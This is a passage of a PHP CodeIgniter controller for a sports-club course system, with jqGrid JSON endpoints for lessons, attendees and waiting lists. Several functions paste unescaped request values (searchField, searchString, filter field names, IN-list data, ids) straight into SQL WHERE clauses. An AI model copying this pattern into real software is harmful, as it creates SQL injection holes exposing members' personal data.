function Lessons()
{
parent::Controller();
$this->lang->load('lessons');
$this->config->load('lessons');
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de bรบsqueda de pista
# -------------------------------------------------------------------
function index()
{
$this->load->model('Redux_auth_model', 'usuario', TRUE);
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
//print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>");
//echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true);
$calendario = $this->load->view('lessons/calendar', array(), true);
//$extra_meta = link_tag(base_url().'css/dailog.css').link_tag(base_url().'css/calendar.css').link_tag(base_url().'css/dp.css').link_tag(base_url().'css/alert.css').link_tag(base_url().'css/main.css').'<script src="'.base_url().'js/calendar/Common.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/datepicker_lang_US.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.datepicker.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.alert.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.ifrmdailog.js" defer="defer" type="text/javascript"></script> <script src="'.base_url().'js/calendar/wdCalendar_lang_US.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.calendar.js" type="text/javascript"></script>';
$data=array(
'meta' => $this->load->view('meta', array('lib_calendar' => TRUE), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion_ppal', array(), true)), true),
'menu' => $this->load->view('menu', '', true),
'footer' => $this->load->view('footer', '', true),
'main_content' => $calendario,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
//print("<pre>");print_r($this->session);
}
# -------------------------------------------------------------------
# Listado general de las reservas usando el jqGrid
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function lista()
{
$this->load->helper('jqgrid');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
$panel_permission = $this->config->item('bookings_visualization_permission');
if(!$panel_permission[$user_group]) {
redirect(site_url(), 'Location');
exit();
}
} else {
redirect(site_url(), 'Location');
exit();
}
$this->load->model('Reservas_model', 'reservas', TRUE);
$deportes = ':All;'.$this->reservas->getSportsArray('json');
$colmodel = " {name:'id',index:'id', width:1, align:'center',hidden:true},
{name:'description',index:'lessons.description', width:25, align:'center', datefmt:'dd/mm/Y', date:true},
{name:'sport_desc', index:'zz_sports.description', width:10, align:'center',stype:'select', searchoptions:{value:'".$deportes."'}},
{name:'court_desc', index:'court_desc', width:10, align:'center'},
{name:'dia_semana', index:'weekday', width:10, align:'center', editable:true},
{name:'rango_fechas', index:'start_date', width:20, align:'center', editable:true},
{name:'rango_horas',index:'start_time', width:12, align:'center'},
{name:'plazas', index:'max_vacancies', width:8, align:'center'},
{name:'profesor', index:'meta.first_name', width:15, align:'center'}";
$colnames = "'Id','Nombre', 'Deporte', 'Pista','Dia','Fechas','Horario', 'Plazas', 'Profesor'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "lessons/jqgrid_list_all",
'title' => 'Listado de cursos',
'default_orderfield' => 'sport_desc',
'default_orderway' => 'asc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '820',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 820px; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>';
$menu_lateral = $this->load->view('lessons/menu_lateral', '', true);
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion_ppal', array(), true)), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
'form_name' => 'frmGrid',
'main_content' => $this->load->view('lessons/list_all', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'menu_lateral' => $menu_lateral), true),
//'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>',
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->session->set_flashdata('returnOkUrl', site_url('reservas_gest/list_all'));
$this->session->set_flashdata('returnKoUrl', site_url('reservas_gest/list_all'));
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# devuelve el listado de reservas para jqGrid en JSON
# -------------------------------------------------------------------
# -------------------------------------------------------------------
public function jqgrid_list_all ($add_params = NULL, $id_user = NULL)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$where = '';
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
} else {
//if($user_group > '3') $where = "booking.id_user = '".$profile->id."'";
}
} else {
exit(0);
}
//$req_param = array ();
$req_param = array (
"orderby" => $this->input->post( "sidx", TRUE ),
"orderbyway" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"where" => '',
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
/*
"sort_by" => $this->input->post( "sidx", TRUE ),
"sort_direction" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
"search_field_1" => "msg_to",
"search_field_2" => "msg_in_inbox",
"user_id" => $this->session->userdata('user_id')
*/
);
$where = "lessons.active = '1'";
if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') {
if(trim($where)!="") $where .= ' AND ';
$where .= $req_param['search_field'];
switch($req_param['search_operator']) {
case 'cn':
$where .=' LIKE \'%'.$req_param['search_str'].'%\' ';
break;
}
}
#Procesado de filtros automaticos
$filters = $_POST['filters'];
$search = $_POST['_search'];
//$where = "";
if(($search==true) &&($filters != "")) {
$filters = json_decode($filters);
//$where = " where ";
$whereArray = array();
$rules = $filters->rules;
$groupOperation = $filters->groupOp;
foreach($rules as $rule) {
$fieldName = $rule->field;
$search1 = array("\\", "\x00", "\n", "\r", "'", '"', "\x1a");
$replace1 = array("\\\\","\\0","\\n", "\\r", "\'", '\"', "\\Z");
$fieldData = str_replace($search1, $replace1, $rule->data);
switch ($rule->op) {
case "eq":
$fieldOperation = " = '".$fieldData."'";
break;
case "ne":
$fieldOperation = " != '".$fieldData."'";
break;
case "lt":
$fieldOperation = " < '".$fieldData."'";
break;
case "gt":
$fieldOperation = " > '".$fieldData."'";
break;
case "le":
$fieldOperation = " <= '".$fieldData."'";
break;
case "ge":
$fieldOperation = " >= '".$fieldData."'";
break;
case "nu":
$fieldOperation = " = ''";
break;
case "nn":
$fieldOperation = " != ''";
break;
case "in":
$fieldOperation = " IN (".$fieldData.")";
break;
case "ni":
$fieldOperation = " NOT IN '".$fieldData."'";
break;
case "bw":
$fieldOperation = " LIKE '".$fieldData."%'";
break;
case "bn":
$fieldOperation = " NOT LIKE '".$fieldData."%'";
break;
case "ew":
$fieldOperation = " LIKE '%".$fieldData."'";
break;
case "en":
$fieldOperation = " NOT LIKE '%".$fieldData."'";
break;
case "cn":
$fieldOperation = " LIKE '%".$fieldData."%'";
break;
case "nc":
$fieldOperation = " NOT LIKE '%".$fieldData."%'";
break;
default:
$fieldOperation = "";
break;
}
if($fieldOperation != "") $whereArray[] = $fieldName.$fieldOperation;
}
if (count($whereArray)>0) {
if(trim($where)!="") $where .= ' AND ';
$where .= join(" ".$groupOperation." ", $whereArray);
}
}
if(isset($id_user) && $id_user != '') {
if(trim($where)!="") $where .= ' AND ';
$where .= ' lessons.id IN (SELECT id_lesson from lessons_assistants WHERE id_user = '.$id_user.' and status IN (1,2,3)) ';
}
$req_param['where'] = $where;
if(isset($add_params) && $add_params != 'none' && $add_params['where'] != '') { if(trim($req_param['where']) != '') $req_param['where'] .= ' AND '; $req_param['where'] .= $add_params['where'];}
$data->page = $this->input->post( "page", TRUE );
//print("<pre>");print_r($req_param);exit();
$data->records = count($this->lessons->get_data ($req_param,"all"));
$data->total = $data->records;
if($req_param['num_rows']!=0) $data->total = ceil ($data->records / $req_param['num_rows'] );
$records = $this->lessons->get_data ($req_param, 'none');
$data->rows = $records;
//print("<pre>");print_r($data);exit();
//echo "<pre>"; print_r($data->rows);
echo json_encode ($data );
exit( 0 );
}
# -------------------------------------------------------------------
# devuelve el listado de reservas para jqGrid en JSON
# -------------------------------------------------------------------
# -------------------------------------------------------------------
public function jqgrid_list_all_generation ($add_params = NULL)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$where = '';
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
} else {
//if($user_group > '3') $where = "booking.id_user = '".$profile->id."'";
}
} else {
exit(0);
}
//$req_param = array ();
$req_param = array (
"orderby" => $this->input->post( "sidx", TRUE ),
"orderbyway" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"where" => '',
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
/*
"sort_by" => $this->input->post( "sidx", TRUE ),
"sort_direction" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
"search_field_1" => "msg_to",
"search_field_2" => "msg_in_inbox",
"user_id" => $this->session->userdata('user_id')
*/
);
$where = "lessons.active = '1'";
if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') {
if(trim($where)!="") $where .= ' AND ';
$where .= $req_param['search_field'];
switch($req_param['search_operator']) {
case 'cn':
$where .=' LIKE \'%'.$req_param['search_str'].'%\' ';
break;
}
}
$req_param['where'] = $where;
if(isset($add_params) && $add_params['where'] != '') { if(trim($req_param['where']) != '') $req_param['where'] .= ' AND '; $req_param['where'] .= $add_params['where'];}
$data->page = $this->input->post( "page", TRUE );
$data->records = count($this->lessons->get_data (array('where' => 'lessons.id_sport in (1, 9, 10, 11)', 'orderby' => 'id_sport'),"all"));
$data->total = $data->records;
if($req_param['num_rows']!=0) $data->total = ceil ($data->records / $req_param['num_rows'] );
$records = $this->lessons->get_data (array('where' => 'lessons.id_sport in (1) and lessons.price in (54, 57)', 'orderby' => 'id_sport', 'orderbyway' => 'ASC'), 'all');
$data->rows = $records;
//print("<pre>");print_r($data);exit();
//echo "a<pre>"; print_r($records);exit();
foreach($records as $curso) {
echo '<br><a href="'.site_url('control/lessons_quotas_torrijos/'.$curso['id']).'" target="_blank">Generar</a> Curso: '.$curso['description'].' - '.$curso['sport_desc'];
}
exit();
echo json_encode ($data );
exit( 0 );
}
# -------------------------------------------------------------------
# devuelve el listado de usuarios apuntados al curso
# -------------------------------------------------------------------
# -------------------------------------------------------------------
public function jqgrid_list_assistants ($id = NULL)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$where = '';
if(!$id) exit(0);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
exit(0);
}
} else {
exit(0);
}
//$req_param = array ();
$req_param = array (
"orderby" => $this->input->post( "sidx", TRUE ),
"orderbyway" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"where" => '',
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
/*
"sort_by" => $this->input->post( "sidx", TRUE ),
"sort_direction" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
"search_field_1" => "msg_to",
"search_field_2" => "msg_in_inbox",
"user_id" => $this->session->userdata('user_id')
*/
);
if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') {
if(trim($where)!="") $where .= ' AND ';
$where .= $req_param['search_field'];
switch($req_param['search_operator']) {
case 'cn':
$where .=' LIKE \'%'.$req_param['search_str'].'%\' ';
break;
}
}
if($where!='') $where.=' AND ';
$where.= 'lessons_assistants.id_lesson = \''.$id.'\' AND lessons_assistants.status IN (1,2,3)';
$req_param['where'] = $where;
$data->page = $this->input->post( "page", TRUE );
$data->records = count ($this->lessons->get_AssitantsData($req_param,"all"));
$data->total = ceil ($data->records / $req_param['num_rows'] );
$records = $this->lessons->get_AssitantsData ($req_param, 'none');
//print("<pre>");print_r($records);
$data->rows = $records;
echo json_encode ($data );
exit( 0 );
}
# -------------------------------------------------------------------
# devuelve el listado de usuarios apuntados al curso
# -------------------------------------------------------------------
# -------------------------------------------------------------------
public function jqgrid_list_waiting ($id = NULL, $global = NULL)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$where = '';
if(!$id && !$global) exit(0);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
exit(0);
}
} else {
exit(0);
}
//$req_param = array ();
$req_param = array (
"orderby" => $this->input->post( "sidx", TRUE ),
"orderbyway" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"where" => '',
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
/*
"sort_by" => $this->input->post( "sidx", TRUE ),
"sort_direction" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
"search_field_1" => "msg_to",
"search_field_2" => "msg_in_inbox",
"user_id" => $this->session->userdata('user_id')
*/
);
if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') {
if(trim($where)!="") $where .= ' AND ';
$where .= $req_param['search_field'];
switch($req_param['search_operator']) {
case 'cn':
$where .=' LIKE \'%'.$req_param['search_str'].'%\' ';
break;
}
}
if(!isset($global)) {
if($where!='') $where.=' AND ';
$where.= 'lessons_assistants.id_lesson = \''.$id.'\'';
}
if($where!='') $where.=' AND ';
$where.= 'lessons_assistants.status IN (7)';
$req_param['where'] = $where;
$data->page = $this->input->post( "page", TRUE );
$data->records = count ($this->lessons->get_AssitantsData($req_param,"all"));
$data->total = ceil ($data->records / $req_param['num_rows'] );
$records = $this->lessons->get_AssitantsData ($req_param, 'none');
//print("<pre>");print_r($records);
$data->rows = $records;
echo json_encode ($data );
exit( 0 );
}
# -------------------------------------------------------------------
# devuelve el listado de usuarios dados de baja de un curso
# -------------------------------------------------------------------
# -------------------------------------------------------------------
public function jqgrid_list_erased ($id = NULL, $global = NULL)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$where = '';
if(!$id && !$global) exit(0);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
exit(0);
}
} else {
exit(0);
}
//$req_param = array ();
$req_param = array (
"orderby" => $this->input->post( "sidx", TRUE ),
"orderbyway" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"where" => '',
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
/*
"sort_by" => $this->input->post( "sidx", TRUE ),
"sort_direction" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
"search_field_1" => "msg_to",
"search_field_2" => "msg_in_inbox",
"user_id" => $this->session->userdata('user_id')
*/
);
if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') {
if(trim($where)!="") $where .= ' AND ';
$where .= $req_param['search_field'];
switch($req_param['search_operator']) {
case 'cn':
$where .=' LIKE \'%'.$req_param['search_str'].'%\' ';
break;
}
}
if(!isset($global)) {
if($where!='') $where.=' AND ';
$where.= 'lessons_assistants.id_lesson = \''.$id.'\'';
}
if($where!='') $where.=' AND ';
$where.= 'lessons_assistants.status IN (9)';
$req_param['where'] = $where;
$data->page = $this->input->post( "page", TRUE );
$data->records = count ($this->lessons->get_AssitantsData($req_param,"all"));
$data->total = ceil ($data->records / $req_param['num_rows'] );
$records = $this->lessons->get_AssitantsData ($req_param, 'none');
//print("<pre>");print_r($records);
$data->rows = $records;
echo json_encode ($data );
exit( 0 );
}
# -------------------------------------------------------------------
# devuelve el listado de usuarios apuntados al curso
# -------------------------------------------------------------------
# -------------------------------------------------------------------
public function jqgrid_list_assistance ($id = NULL)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$where = '';
if(!$id) exit(0);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
exit(0);
}
} else {
exit(0);
}
//$req_param = array ();
$req_param = array (
"orderby" => $this->input->post( "sidx", TRUE ),
"orderbyway" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"where" => '',
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
/*
"sort_by" => $this->input->post( "sidx", TRUE ),
"sort_direction" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
"search_field_1" => "msg_to",
"search_field_2" => "msg_in_inbox",
"user_id" => $this->session->userdata('user_id')
*/
);
if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') {
if(trim($where)!="") $where .= ' AND ';
$where .= $req_param['search_field'];
switch($req_param['search_operator']) {
case 'cn':
$where .=' LIKE \'%'.$req_param['search_str'].'%\' ';
break;
}
}
if($where!='') $where.=' AND ';
$where.= 'lessons_assistance.id_lesson = \''.$id.'\'';
$req_param['where'] = $where;
$data->page = $this->input->post( "page", TRUE );
$data->records = count ($this->lessons->get_AssitanceData($req_param,"all"));
$data->total = ceil ($data->records / $req_param['num_rows'] );
$records = $this->lessons->get_AssitanceData ($req_param, 'none');
//print("<pre>");print_r($records);
$data->rows = $records;
echo json_encode ($data );
exit( 0 ); }
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de bรบsqueda de pista
# -------------------------------------------------------------------
function calendar($id)
{
$this->load->model('Redux_auth_model', 'usuario', TRUE);
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
} else {
redirect(site_url(), 'Location');
exit();
}
//print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>");
//echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true);
$calendario = $this->load->view('lessons/calendar_detail', array('lesson' => $id), true);
//$extra_meta = link_tag(base_url().'css/dailog.css').link_tag(base_url().'css/calendar.css').link_tag(base_url().'css/dp.css').link_tag(base_url().'css/alert.css').link_tag(base_url().'css/main.css').'<script src="'.base_url().'js/calendar/Common.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/datepicker_lang_US.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.datepicker.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.alert.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.ifrmdailog.js" defer="defer" type="text/javascript"></script> <script src="'.base_url().'js/calendar/wdCalendar_lang_US.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.calendar.js" type="text/javascript"></script>';
$data=array(
'meta' => $this->load->view('meta', array('lib_calendar' => TRUE), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'header_style' => 'cabecera_con_submenu', 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array(), true)), true),
'menu' => $this->load->view('menu', '', true),
'footer' => $this->load->view('footer', '', true),
'main_content' => $calendario,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
//print("<pre>");print_r($this->session);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function edit($id = NULL, $start = NULL, $end = NULL, $isallday = NULL, $title = NULL, $dummy = NULL)
{
$this->load->library('calendario');
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
} else {
redirect(site_url(), 'Location');
exit();
}
if(isset($id) && !strstr($id, 'time')) $event = $this->calendario->getCalendarByRange($id);
//$edicion = $this->load->view('lessons/edit', array('event' => $event), true);
$extra_meta = link_tag(base_url().'css/dropdown.css').link_tag(base_url().'css/colorselect.css').link_tag(base_url().'css/dp.css').link_tag(base_url().'css/main.css').'<script src="'.base_url().'js/jquery-1.4.2.js" type="text/javascript"></script><script src="'.base_url().'js/calendar/Common.js" type="text/javascript"></script><script src="'.base_url().'js/calendar/jquery.form.js" type="text/javascript"></script><script src="'.base_url().'js/calendar/jquery.validate.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/datepicker_lang_US.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.datepicker.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.dropdown.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.colorselect.js" defer="defer" type="text/javascript"></script>';
$data=array(
//'meta' => $this->load->view('meta', array('extra' => $extra_meta), true),
//'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
//'footer' => $this->load->view('footer', '', true),
'meta' => $extra_meta,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
if(isset($event)) $data['event'] = $event;
$this->load->view('lessons/edit', $data);
}
# -------------------------------------------------------------------
# devuelve el listado de usuarios apuntados al curso
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function assistants ($id)
{
$this->load->model('redux_auth_model', 'users', TRUE);
$this->load->model('lessons_model', 'lessons', TRUE);
$this->load->helper('jqgrid');
$this->load->library('calendario');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
} else {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
$this->session->set_userdata('returnUrl', site_url('lessons/assistants/'.$id));
$colmodel = " {name:'id',index:'lessons_assistants.id', width:1, align:'center',hidden:true},
{name:'user_desc',index:'user_desc', width:13, align:'center'},
{name:'group_desc',index:'users.group_id', width:7, align:'center'},
{name:'user_phone',index:'user_phone', width:5, align:'center'},
{name:'fecha_nacimiento',index:'fecha_nacimiento', width:5, align:'center'},
{name:'signed_desc',index:'sign_date', width:2, align:'center'},
{name:'last_day_payed', index:'lessons_assistants.last_day_payed', width:5, align:'center'},
{name:'quota', index:'lessons_assistants.id', width:3, align:'right'},
{name:'discount', index:'lessons_assistants.discount', width:3, align:'right'}";
$colnames = "'Id', 'Nombre', 'Nivel', 'Telefono', 'Nacimiento', 'Alta', 'Pagado hasta', 'Cuota', 'Desc'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "lessons/jqgrid_list_assistants/".$id,
'title' => 'Listado de alumnos',
'default_orderfield' => 'lessons_assistants.id',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '960',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 960px; height: 600px;">'.jqgrid_creator($para_grid).'</div>';
# Si hay cuota de alta, pinto el boton de pagar el alta
$info = $this->calendario->getCalendarByRange($id);
if($info->signin == 0) $alta = FALSE;
else $alta = TRUE;
$extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n";
$motivos_baja = $this->lessons->getUnsubscriptionReasonsArray();
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE, 'extra' => $extra_meta), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $id), true)), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
//'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true),
'main_content' => $this->load->view('lessons/list_players', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'alta' => $alta, 'menu_lateral' => NULL, 'id_transaction' => $id, 'motivos_baja'=>$motivos_baja), true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
# Carga de la vista principal
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# devuelve el listado de usuarios apuntados al curso
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function waiting ($id)
{
$this->load->model('redux_auth_model', 'users', TRUE);
$this->load->helper('jqgrid');
$this->load->library('calendario');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
} else {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
$colmodel = " {name:'id',index:'lessons_assistants.id', width:1, align:'center',hidden:true},
{name:'user_desc',index:'user_desc', width:30, align:'center'},
{name:'user_phone',index:'user_phone', width:10, align:'center'}";
$colnames = "'Id', 'Nombre', 'Telefono'";
